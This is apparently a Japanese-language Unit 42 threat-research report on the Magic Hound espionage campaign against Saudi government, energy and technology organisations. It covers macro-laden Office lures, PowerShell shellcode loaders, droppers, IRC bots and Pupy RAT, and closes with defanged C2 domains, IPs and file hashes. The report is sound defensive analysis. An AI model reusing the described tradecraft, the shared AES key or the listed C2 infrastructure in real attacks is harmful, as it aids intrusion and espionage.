[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/unit42-magic-hound-campaign-attacks-saudi-targets/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-magic-hound-campaign-attacks-saudi-targets/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ")
* [サイバー犯罪](https://unit42.paloaltonetworks.com/ja/category/cybercrime-ja/ "サイバー犯罪")  
  [サイバー犯罪](https://unit42.paloaltonetworks.com/ja/category/cybercrime-ja/)

# サウジアラビアを標的にするMagic Hound攻撃活動

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 7 分で読めます

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Bryan Lee](https://unit42.paloaltonetworks.com/ja/author/bryanlee/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2017年2月15日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [サイバー犯罪](https://unit42.paloaltonetworks.com/ja/category/cybercrime-ja/)
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [Magic hound](https://unit42.paloaltonetworks.com/ja/tag/magic-hound-ja/)
  * [Saudi Arabia](https://unit42.paloaltonetworks.com/ja/tag/saudi-arabia-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/unit42-magic-hound-campaign-attacks-saudi-targets/?pdf=download&lg=ja&_wpnonce=5f0cc26d8b "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/unit42-magic-hound-campaign-attacks-saudi-targets/?pdf=print&lg=ja&_wpnonce=5f0cc26d8b "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=サウジアラビアを標的にするMagic%20Hound攻撃活動&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F&title=サウジアラビアを標的にするMagic%20Hound攻撃活動 "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F&text=サウジアラビアを標的にするMagic%20Hound攻撃活動 "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=サウジアラビアを標的にするMagic%20Hound攻撃活動%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Funit42-magic-hound-campaign-attacks-saudi-targets%2F "Share in Mastodon")

## 概要

Palo Alto NetworksのUnit 42脅威インテリジェンス チームは、持続型攻撃活動が主に中東で行われているのを発見しましたが、この攻撃活動は少なくとも2016年中頃までに遡ります。私たちはこの活動をMagic Houndと命名しました。これはスパイ活動に重点をおいた攻撃活動のようです。私たちの見たところ、エネルギー産業、政府部門、およびテクノロジ産業の組織を主に標的としてきましたが、これらの組織はサウジアラビアに所在するか、あるいはサウジアラビアでビジネスをしています。攻撃者は、追跡期間中に戦略と手法を進化させたようです。そのために、種々のツールセットを様々な攻撃のうねりの中で繰り返し使ってきました。インフラストラクチャおよびツールの関連性の分析により、Magic Houndと、"[Rocket](https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf) [Kitten](https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf)" (別名Operation Saffron Rose、Ajax Security Team、Operation Woolen-Goldfish)と呼ばれる攻撃者グループと、さらにはNewscastersと呼ばれる従来の攻撃活動との、潜在的な関係も明らかになりました。この攻撃活動の痕跡についても、先日、[Secureworks CTU](https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations)が公表しました。

私たちは、[AutoFocus](https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/autofocus) 脅威インテリジェンス ツールを使って、Magic Hound攻撃活動が使うツールのサンプルを50個以上収集することができました。私たちが収集できた最も古いマルウェア サンプルは、コンパイル時のタイムスタンプが2016年5月でした。サンプルは、IRCボット、オープンソースのPythonリモート アクセス ツール、悪意のあるマクロなどと様々でした。特定のツールの利用は、この攻撃者による特定の攻撃のうねりと一致している場合があったと考えられます。また、悪意のあるマクロを備えた、武器化されたMicrosoft Officeドキュメントを利用する最新の攻撃と一致している場合もあったと考えられます。収集したデータが大量であり、攻撃テレメトリが限られていることから、このブログ記事では、主に、2016年後半に起きた最新攻撃に的を絞ります。

### **攻撃の詳細**

Magic Houndとの関連性のある当初収集したサンプルはMicrosoft WordおよびExcelのドキュメントで、埋め込みの悪意のあるマクロが中に含まれていました。インフラストラクチャとツールの挙動に軸足を置くことで、私たちのデータ セットを拡張することができました。これにより、Magic Houndが使っているツールの新たな種類が発見されました。そうしたツールには、例えば、通常のPortable Executable (PE)ペイロード、.NET FrameworkでコンパイルされたPEファイル、様々な形態のIRCボット、および[Pupy](https://github.com/n1nj4sec/pupy)と呼ばれるオープンソースのファイルレスPythonリモート アクセス ツールなどがあります。

武器化されたOfficeドキュメントが、侵害された正規のWebサイトとおぼしきもの、または見かけ上は正規のドメイン名と類似のドメイン名を使っているWebサイトのいずれかで提供されていることが分かりました。私たちが特定できた2つの正規のWebサイトは、政府部門の組織とエネルギー産業の組織が所有していました。これらの悪意のあるファイルが正規のWebサイトに存在していることから、これらのWebサイトは既に何らかの方法で侵害されていたことは、ほぼ間違いありません。調査の時点で、ファイルはすでにWebサイトから削除されていました。他の2つの配信サイトは、サウジアラビアに拠点を置く情報通信技術コングロマリットを詐称しようとしている可能性のあるntg-sa\[.\]comと、労働省を詐称しようとしている可能性のあるmol.com-ho\[.\]meでした。3番目の配信サイトはits.com-ho\[.\]meで識別されましたが、its.com-ho\[.\]meは見たところ無害なドメインかもしれません。

これらの文書のうちいくつかは、見たところ無関係で無害そうなドメインbriefl\[.\]inkでも発見されました。

そうなると、攻撃者がスピアフィッシング攻撃を使った可能性が濃厚ですが、この攻撃では、こうした悪意のある文書へのリンクが配信メカニズムとして含まれています。Magic Houndの標的になった政府部門、エネルギー産業、およびテクノロジ産業の複数の組織を最終的に特定することができました。

武器化された文書はすべてそれ自身に、Windows PowerShellを呼び出してさらにツール取り出すよう設計された悪意のあるマクロが含まれていました。テーマが別々の、一握りの擬似餌（ルアー）が、18個の収集済み文書すべてにわたって、変化をつけながら繰り返し使われました。文書は、サウジアラビア政府の公式書類のひな型に見せかけるものからクリスマス カードに見せかけるものまでありました。政府の公式文書に見せかけたひな型には、具体的に言うと、保健省および商務省を示す画像が使われており、マクロを有効にしなければならない必要書類である旨の記載がありました。文書のいくつかの例を以下に示します。

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image003.png)![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image004.png)![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image005.png)![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image006.png)

### **インフラストラクチャ**

武器化された文書の分析により、いくつかの特性が直ちに明らかになりました。文書の大多数は、"gerry knight"という名前を文書のメタデータの作成者欄に使っていました。また、埋め込みのマクロは、ドメイン名を使わずコマンド アンド コントロール(C2)への直接的なIP接続を主として使用していました。これらのC2サーバも、見たところ互いに無関係のようで、様々なVPSプロバイダーでホスティングされていました。しかし、作成者名"gerry knight"を使用していた2つのWordドキュメントが、www1.chrome-up\[.\]dateおよびwww3.chrome-up\[.\]dateという2つの特定のドメインのC2サーバと通信しているのが分かりました。これらのドメインを足掛かりに、私たちのデータ セットを拡張することができました。次に示すように、関連性の分析は非常に有益な結果となりました。
![図1 関連性の概要](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image007.png) 図1 関連性の概要

別々の組のツールが、2つのWordドキュメントの通信相手であった、まさに同じC2サーバと通信しているところをさっそく発見しました。さらに、他のツールが、以下の図で示すとおり、chrome-up\[.\]dateに関する別のサブドメインのバリエーションと通信しているところも発見しました。
![図2 コマンド アンド コントロールの共通部分](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image008.png) 図2 コマンド アンド コントロールの共通部分

そうしたことから、インフラストラクチャの大きな図を作成し、ツールの4つのカテゴリ(ダウンローダー、ドロッパー、ローダー、ペイロード)に分類することができました。当初まったく共通点がなく別々の攻撃活動であるように見えたものが、極めて具体的な目的を念頭においた長期間持続される攻撃活動であるように、急に見えてきました。

インフラストラクチャの再利用、挙動に関する照合、および永続性を維持するための特定ファイルの再利用により、全体で50個以上の異なるサンプルを収集することができました。これらのツールには、Microsoft Officeドキュメント、Portable Executables (PE)、.NET Framework PEファイル、Meterpreter、IRCボット、オープンソース化されたMeterpreterモジュール(呼称はMagic Unicorn)およびオープンソース化されたPython RAT(呼称はPupy)などがありました。

興味深いことに、私たちのデータ セットを拡張し、足掛かりにすることを続けているうちに、Magic Houndに由来するIRCボットのペイロードが使っているC2のIPアドレスの1つが、MPKと呼ばれる別のIRCボットの配信に使われているものと同一のIPアドレスであることが分かりました。
![図3 Rocket Kitten およびMagic Houndのインフラストラクチャの共通部分](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image009.png) 図3 Rocket Kitten およびMagic Houndのインフラストラクチャの共通部分

MPKボットは公開されておらず、かつては"Rocket Kitten"と呼ばれる攻撃者グループが作成したものと考えられていました。このグループは、国家の支援する攻撃者で中東地域で活動していると、多くの場合考えられてきました。同じ地理的範囲においてスパイ活動に重点を置き、1つの特定のIPアドレスを共に使いながらも、どういうわけか関連性を持たないこの2つ攻撃者が異なる可能性は極めて低いのですが、テレメトリが限定されているため、決定的な関連性を示す証拠で、裏付けとなる新たなものは見つかっていません。

### **MAGIC HOUNDツールセット**

Magic Hound攻撃は、標的システムを侵害するためのエクスプロイト コードを利用せず、実行可能ファイルおよびMicrosoft Officeドキュメント(具体的には、悪意のあるマクロを含んでいるExcelおよびWordドキュメント)を利用しました。分析中に、私たちはこうした攻撃のいくつかについて、最終ペイロードを突き止めることができました。1つ目のペイロードはPythonによるオープンソースのリモート管理ツール(RAT)でしたが、これはPupyと呼ばれています。2つ目のペイロードはIRCボットで、これにはMagicHound.Leashと命名しました。このグループがMagic Unicorn モジュールを使ってPowerShellスクリプトを生成し、シェルコード ベースのペイロードを配信したことも確認済みです。Unicornが生成したPowerShellスクリプトからセカンダリ ペイロードを取得することはできませんでしたが、このグループがこのスクリプトを使ってMetasploitのMeterpreterを潜在的なペイロードとして配信したことも間違いないと思います。

Magic Hound攻撃活動が使っている特別仕様のツールを5つのカテゴリに分類しました。表1に対応する名前を記載してあります。これらのツールの詳細については付録を参照してください。

|---------------|----------------------|
| **種類**        | **名前**               |
| ドロッパー         | MagicHound.DropIt    |
| 実行可能ファイル ローダー | MagicHound.Fetch     |
| ドキュメント ローダー   | MagicHound.Rollover  |
| ダウンローダー       | MagicHound.Retriever |
| IRCボット        | MagicHound.Leash     |

*表1 MagicHoundツールの種類と、それに対応する名前*

### MAGICHOUND.ROLLOVER

Magic Hound攻撃活動はWordおよびExcelドキュメントを利用しました。文書には悪意のあるマクロが配信方法として含まれていました。具体的には、Pupy RATまたはMeterpreterのいずれかをロードしようとするもので、私たちは、このマクロにMagicHound.Rolloverと命名しました。この悪意のあるマクロは、いずれもWindows PowerShellを利用してシェルコード ベースのペイロードをリモート サーバからダウンロードするよう設計されていました。PowerShellスクリプトでは2つの異なる手法が使われていることが分かりました。1つ目は、リモート サーバから取得した文字列を単純にコマンドとして実行します。2つ目の手法は、Meterpreter用のオープンソース モジュールである[Magic Unicorn](https://github.com/trustedsec/unicorn)に由来しているようです。具体的には、前記PowerShellスクリプト内のコードを発見しましたが、これはMagic Unicorn内のコードと対応するもので、"one line shellcode injection with native x86 shellcode (ネイティブx86シェルコードによる1行シェルコード インジェクション)"というコメントが入っていました。

### MAGICHOUND.FETCH

配信文書内にあるマクロを使ってペイロードをロードする方法の他に、私たちはMagic Hound攻撃活動が実行可能ファイルを使ってセカンダリ ペイロードをリモート サーバからロードしているところを確認しました。使われていた実行可能ファイルは2つとも特別仕様で開発されたローダーです。私たちはこのローダーをMagicHound.Fetchと命名しましたが、これと共に、Pupyが付いてくるデフォルトのローダーが使われていることが分かりました。Fetchローダーにより、このローダー内の属性を使って、このグループの使用するツールをさらに見つけることができましたが、ツールにはバックドアやIRCボットがありました。

Fetchは、まず、標的ホストへの持続的なアクセスを確立し、次いで、セカンダリ ペイロードをリモート サーバから取得しようとします。持続性をセットアップするために、ローダーはファイルを"c:\\temp\\rr.exe"に書き込み、これを特定のコマンド ライン引数付きで実行し、自動実行レジストリ キーを作成します。Fetch のサンプルは、いずれも、まったく同一の実行可能ファイルをドロップして持続性をセットアップします。

分析対象となったFetchのサンプルの多くは、埋め込み済みの文字列をAESにより暗号化することで、備えている機能を難読化しようとしました。一方で、サンプルはいずれも同じキー"agkrhfpdbvhdhrkj"を使っていました。ローダーの主な目的はPowerShellコマンドを起動してシェルコードを実行することでした。Fetchが使うPowerShellコマンドは、[Magic Unicorn](https://github.com/trustedsec/unicorn/blob/master/unicorn.py)のソースコード内にあることが分かりましたが、これもMagic Hound配信文書の中で使われていました。このPowerShellによって実行されるシェルコードは、配信文書内のものと全く同じです。シェルコードはMetasploit由来のコードを使いますが、このコードは、以下のURLに対するHTTPリクエストを使用して、新たなシェルコードを取得し実行することができます。

http://www7.chrome-up\[.\]date/0m5EE

このURLで提供していたシェルコードを取得することはできませんでした。ただし、すでに示唆したとおり、この攻撃者はオープン ソースのMagic Unicornツールを使用してシェルコードベースのペイロード(恐らくMeterpreter)をロードしたのに違いありません。

### PUPY LOADER

Pupy RATは、デフォルトでローダー付きの状態でパッケージ化されて提供されます。このローダーは、Windows、macOS、LinuxおよびAndroidといった様々なプラットフォーム上でこのRATを起動することができます。Magic Hound攻撃活動が、Pupyに付いてくる32-bit版および64-bit版のDLLローダーの両方を使ってWindowsシステムを感染させるところがこれまで確認されています。これらのローダーの設定を分析したところ、C2サーバがfully qualified domain name (完全修飾ドメイン名 - FQDN)およびIPアドレスの両方を使っていたことが分かりました。また、設定から"obfs3" (The Threebfuscator)トランスポートを使用していることも分かります。これは、真のTCPベースの通信プロトコルを隠すための難読化手法です。"obfs3"はTorプロジェクトで使用されています。このトランスポートの仕様については、[Torプロジェクト](https://gitweb.torproject.org/pluggable-transports/obfsproxy.git/tree/doc/obfs3/obfs3-protocol-spec.txt)を参照してください。

### MAGICHOUND.DROPIT

また、Magic Hound攻撃活動が特別仕様のドロッパー ツールを使っているところも発見しましたが、このドロッパー ツールにMagicHound.DropItと命名しました。分析したDropItトロイの木馬は、新たな実行可能ファイルを構築する実行可能ファイルです。この構築は、base64エンコード化データの埋め込み済みブロブをデコードして、それらを正しい順序で結合することで行われます。収集したDropItサンプルのすべてにおいて、ドロッパーは、それに引き続き、実行可能ファイルをユーザーの%TEMP%フォルダに保存し、この保存したファイルを実行します。

また、Magic HoundがDropItをバインダーとして使用しているところも確認しました。具体的には、悪意のある実行可能ファイルとともに正規のおとりの実行可能ファイルをドロップしていました。次に、正規のおとりの実行可能ファイルおよび悪意のある実行可能ファイルはどちらも実行されましたが、悪意のあるファイルがバックグラウンドで稼働する一方、おとりのファイルがユーザーに提示されました。こうした類の戦略は、一般に権限昇格を目的として、被害者に疑念のきっかけを与えないために使われます。ある例において、おとりの実行可能ファイルは正規のFlashインストーラーでした。したがって、被害者の観点から見ると、Flashインストーラーが予期していたとおりの動作をしていると被害者は感じていたことでしょう。

### MAGICHOUND.RETRIEVER

DropItサンプルが別のトロイの木馬をインストールしているところが確認されました。私たちは、このトロイの木馬をMagicHound.Retrieverと呼んでいます。おおまかに言うと、Retrieverはセカンダリ ペイロードを取得する.NETダウンローダーであり、取得の際に、設定に埋め込まれているURLをC2として使います。Retrieverは、.NET WebサービスおよびSoapHttpClientProtocolクラスを使って自身のC2サーバと通信します。そして、図4にある例のリクエストのようなHTTPリクエストを生成します。
![図4 RetrieverのHTTPリクエスト(C2サーバに送信)](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image010.png) 図4 RetrieverのHTTPリクエスト(C2サーバに送信)

### **MAGICHOUND.LEASH**

また、Magic Hound攻撃活動は、私たちがMagicHound.Leashと名付けているIRCボットを導入しても見つかりました。C2通信にIRCを使用したバックドア トロイの木馬をインストールするDropItサンプルを見つけたときに、この接続が検出されました。 Leashは、IRCサーバにも接続されている必要のある敵対者から送信されたプライベート メッセージ(PRIVMSG)を介してコマンドを取得します。図5に示されるVERコマンドを除く使用可能なコマンド(付録を参照)はすべて、IRCチャネル内で"AS\_"または"AF\_"で始まるニックネームを使用して個別に発行される必要があります。
![図5 VERコマンドに応答するLecashボット](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image011.png) 図5 VERコマンドに応答するLecashボット

iSightのNEWSCASTERホワイトペーパーで最初に考察されたIRCボットと LEASHの間には多数の類似点があります。iSightのホワイトペーパーではIRCボットの詳細に触れていますが、その中には、C2への接続を試みるときに生成される以下のネットワーク トラフィックで見られるように、IRCチャネルに参加するために使用されたパスワードに基づいてParastooと呼ばれるものもあります。

|--------------------------------------------------------------|---------------------------------------------------|
| **Parastooトロイの木馬**                                           | **MagicHound.Leash**                              |
| USER AS\_ # # :des  NICK t\_\_982 JOIN :#tistani Parastoo | USER AS\_a # # :des  NICK Conroy JOIN :#kalk |

バイナリ差分を実施したことで、LeashサンプルとParastooサンプル間に67%の類似性があることが明らかになりました。コードの大部分を共有することに加えて、どちらのIRCボットも、システム上でコマンドを実行するには"AF\_"または"AS\_"で始まるIRCユーザー ニックネームが必要です。また、この2つのボットは、以下の図6で示される"VER"コマンドに対して同様の応答を見せますが、こうした応答はLeashで生成される応答とはわずかに異なります。
![図 6 Leashに対するものと同様の方法でコマンドに応答するParastoo トロイの木馬](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image012.png) 図 6 Leashに対するものと同様の方法でコマンドに応答するParastoo トロイの木馬

### MPKBot

また、C2サーバではなく、LeashサンプルがホストされていたC2サーバー用の同じIPを使用して、MPKと呼ばれる2番目のIRCボットも発見されました。このMPK IRCボットは、[Rocket Kitten](https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf)と呼ばれる脅威グループに関するCheckPointによるホワイトペーパーで詳述されているように、カスタムC2通信プロトコルを使用したMPK トロイの木馬に非常によく似ています。このバージョンのMPKトロイの木馬は同じコード ベースに基づいていると確信しています。IRCバージョンと上記ホワイトペーパーで参照されているバージョンの両方には挙動の観点からかなりの類似点があり、また直接コードの上書きも行っています。

## 結論

Magic Hound攻撃活動は、中東地域で活動するアクティブな持続型スパイ活動に動機付けられた敵対者です。政府、エネルギー分野、テクノロジ分野の組織(具体的には、サウジアラビアに拠点を置くか、事業を展開している組織)が、この敵対者の標的になっています。Magic Hound 攻撃活動で使用されるツールセットは、さまざまなカスタム ツールや一般の方々が入手可能なオープン ソースのツールでした。私たちが解明したツールはいずれもエクスプロイト型ではなかったことが判明しており、またソーシャル エンジニアリングだけに依存したものではありませんでした。Rocket Kitten敵対者グループとの潜在的な関係を検出したものの、この時点でその関係の程度は確認できていません。今後もMagic Houndの活動の監視を続けていきます。

Palo Alto Networksのお客様は、以下を介して保護されています。

* 悪意のあるサンプルのWildFireの識別と検出
* コマンド アンド コントロール サーバは、悪意あるものとして分類されます。
* AutoFocusタグが作成されました
  * [Magic Hound](https://autofocus.paloaltonetworks.com/#/tag/Unit42.MagicHound)
  * [MagicHound DropIt](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DropIt)
  * [MagicHound Fetch](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Fetch)
  * [MagicHound Retriever](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Retriever)
  * [MagicHound Rollover](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Rollover)
  * [MagicHound Leash](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Leash)
  * [MagicHound MPKBot](https://autofocus.paloaltonetworks.com/#/tag/Unit42.MPKbot)
  * [PuPYRAT](https://autofocus.paloaltonetworks.com/#/tag/Commodity.PuPYRAT)

### セキュリティ侵害の痕跡

#### **MagicHound.DropIt SHA256**

c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d  
ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba  
da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a  
0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab  
f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396  
860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2  
b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061  
4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf  
5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305  
3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502

#### **MagicHound.Fetch PE SHA256**

b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c  
6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed  
16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd  
92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5  
86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4  
c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143  
a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06  
d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6  
79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932  
2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a  
8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75  
abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26  
9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656  
e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263  
ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0  
eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a  
1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1  
29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309

#### **MagicHound.Fetch PE C2**

service.chrome-up\[.\]date  
www3.chrome-up\[.\]date  
www7.chrome-up\[.\]date  
timezone\[.\]live  
service1.chrome-up\[.\]date  
104\.238.184\[.\]252  
www5.chrome-up\[.\]date  
servicesystem.serveirc\[.\]com

#### **MagicHound.Fetch DOC SHA256**

218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2  
e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6  
71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087  
388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d  
33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e  
5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da  
528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62  
66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b  
cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864  
68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964  
e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087  
f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143  
af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9  
6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031

#### **MagicHound.Fetch DOC C2**

45\.76.128\[.\]165  
139\.59.46\[.\]154  
104\.218.120\[.\]128  
89\.107.62\[.\]39  
69\.87.223\[.\]26  
analytics-google\[.\]org  
89\.107.60\[.\]11  
www3.chrome-up\[.\]date  
www.microsoftsubsystem.com-adm\[.\]in  
www1.chrome-up\[.\]date

#### **MagicHound.Fetch XLS SHA256**

6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b  
97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade

#### **MagicHound.Fetch XLS C2**

45\.76.128\[.\]165  
139\.59.46\[.\]154

#### **Pupy Loaders SHA256**

7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73  
db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f  
82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190

#### **Pupy Loaders C2**

139\.59.46\[.\]154  
www1.chrome-up\[.\]date

#### **MagicHound.Retriever SHA256**

1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce  
7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823  
b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6  
3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1

#### **MagicHound.Retriever C2**

service.chrome-up\[.\]date  
msservice\[.\]site  
microsoftexplorerservices\[.\]cloud

#### **MagicHound.Leash SHA256**

133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5  
ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4  
d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf

#### **MagicHound.Leash C2**

45\.56.123\[.\]129  
syn.timezone\[.\]live

#### **MPKBot SHA256**

d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19

#### **MPKBot C2**

45\.58.37\[.\]142

### 付録

#### **MAGICHOUND.ROLLOVER**

Magic Hound攻撃活動では、Pupy RATか、おそらくはMeterpreterのいずれかをロードすることを試みる、悪意のあるマクロを含む文書をはじめとするWord文書やExcel文書が使用されました。このツールをMagicHound.Rolloverと呼んでいます。1つの例では、「First click "Enable Content" above the page, then click here to fill out the form(ページ上部の"コンテンツの有効化"をクリックしてから、ここをクリックしてこのフォームを記入してください)」というラベルのボタンがWord文書に含まれていました。

![](https://www.paloaltonetworks.jp/content/dam/pan/ja_JP/Images/blog/2017/magic_hound/image013.png)

